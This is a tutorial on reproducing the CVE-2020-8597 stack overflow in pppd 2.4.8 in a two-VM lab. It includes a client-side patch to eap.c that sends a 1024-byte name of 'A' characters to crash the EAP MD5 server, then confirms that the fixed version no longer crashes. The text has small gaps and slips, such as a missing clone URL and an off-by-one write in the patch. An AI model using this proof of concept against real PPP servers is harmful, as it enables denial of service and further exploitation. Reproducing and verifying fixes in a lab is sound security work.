CVE-2020-8597 - Buffer Overflow in pppd

In this short tutorial we will go over how to reproduce the crash from CVE-2020-8597. This is a stack-based buffer overflow in the pppd binary.

We will use our own pppd binary compiled from source, using the latest version: 2.4.8.

To accomplish this goal, we will need two Virtual Machines connected by a virtual serial port. I typically use VirtualBox since it is open source, but the same sort of configuration should work on other hypervisors.

I spun up two VMs:

The serial configuration settings for pppd-server look like this:

Server Serial Configuration

The serial configuration settings for pppd-client look like this:

Client Serial Configuration

After configuring the serial settings, spin up and install your choice of Linux Distribution. I chose Ubuntu 19.10, but any linux distro should work.

Make sure the pppd-server VM is started before the pppd-client VM.

Now we need to test the connectivity of the serial connection:

Testing Serial Connection

When installation of the base operating system is completed and testing is successful, we will need a few packages to work with pppd:

# apt install build-essential gdb libssl-dev

Then we proceed to clone the ppp repository:

$ git clone ~/ppp

Now on the server, we build and install ppp:

$ git checkout ppp-2.4.8
$ cd ~/ppp
$ ./configure
$ make
# make install

We now have pppd installed for the server. Next repeat the instructions on pppd-client.

At this point we hae a version of pppd on both systems. We need to then test the connection.

First, on the server, run the following command:

# pppd /dev/ttyS0 9600 noauth local lock defaultroute debug nodetach ms-dns

Next, on the client, run the following command:

# pppd noauth local lock defaultroute debug nodetach /dev/ttyS0 9600

Now we should see the connection open up:

Initial Connection

Next we need to implement EAP MD5-Challenge. We can do so by adjusting the server command and adding a file on the server filesystem.

The file we need to add is /etc/ppp/chap-secrets and should look like this:

admin   *       password        *


Now we adjust the server command to:

# pppd /dev/ttyS0 9600 auth local lock defaultroute debug nodetach ms-dns require-eap

The last thing we need to do is make some changes to the pppd-client pppd binary. On pppd-client, clean up the ppp project in ~/ppp:

$ make clean

Then apply the following patch:

diff --git a/pppd/eap.c b/pppd/eap.c
index 082e953..0754597 100644
--- a/pppd/eap.c
+++ b/pppd/eap.c
@@ -75,8 +75,7 @@
 #define        SHA_DIGESTSIZE 20
+#define PAYLOAD_SIZE 1024
 eap_state eap_states[NUM_PPP];         /* EAP state; one for each unit */
 #ifdef USE_SRP
 static char *pn_secret = NULL;         /* Pseudonym generating secret */
@@ -1392,8 +1391,8 @@ int len;
 #endif /* USE_SRP */
                eap_send_response(esp, id, typenum, esp->es_client.ea_name,
-               break;
+               break;
                if (len > 0)
                        info("EAP: Notification \"%.*q\"", len, inp);
@@ -1457,8 +1456,12 @@ int len;
                BZERO(secret, sizeof (secret));
                MD5_Update(&mdContext, inp, vallen);
                MD5_Final(hash, &mdContext);
-               eap_chap_response(esp, id, hash, esp->es_client.ea_name,
-                   esp->es_client.ea_namelen);
+               char payload[PAYLOAD_SIZE];
+               memset(payload, 'A', PAYLOAD_SIZE - 1);
+               payload[PAYLOAD_SIZE] = '\0';
+               eap_chap_response(esp, id, hash, payload, PAYLOAD_SIZE);
+               //eap_chap_response(esp, id, hash, esp->es_client.ea_name,
+                //   esp->es_client.ea_namelen);
 #ifdef USE_SRP

You can apply this patch by saving it as a file like this:

$ git apply client-payload.patch

Where client-payload.patch is the file name where we saved the aforementioned patch.

I chose to use the approach of modifying he pppd binary to avoid having to script out the entire LCP handshake process that begins link negotation on ppp. While it should be possible to craft your own client using scapy and pyserial, it was definitely easier to just modify the existing pppd binary to do what we want.

Now recompile the project:

$ ./configure
$ make
# make install

Now we adjust the client command to be:

# pppd auth local lock defaultroute debug nodetach /dev/ttyS0 960

Then we run the server command first, and the following client command:

# pppd noauth local lock defaultroute debug nodetach /dev/ttyS0 9600 user notadmin password notpassword

You should see a crash now on the server:


Now, we want to verify the fix, so back on the server we run:

$ make clean
$ git checkout master
$ ./configure
$ make
# make install

Then repeat the last server+client commands! You should not see a crash:

No Crash